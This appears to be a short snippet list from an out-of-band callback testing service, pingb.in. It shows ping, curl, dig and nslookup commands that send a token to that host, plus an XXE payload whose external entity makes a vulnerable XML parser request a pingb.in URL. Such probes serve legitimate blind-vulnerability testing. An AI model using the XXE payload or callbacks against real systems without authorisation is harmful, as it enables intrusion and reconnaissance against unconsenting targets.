$ ping -c1 -p 00980b59c5708c908955d33bd1f67100 pingb.in
 

$ curl pingb.in/p/980b59c5708c908955d33bd1f671
 

$ dig 980b59c5708c908955d33bd1f671 @pingb.in
 

$ dig 980b59c5708c908955d33bd1f671.ns.pingb.in
 

C:\> nslookup 980b59c5708c908955d33bd1f671 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/980b59c5708c908955d33bd1f671">]>
    <foo>&xxe;</foo>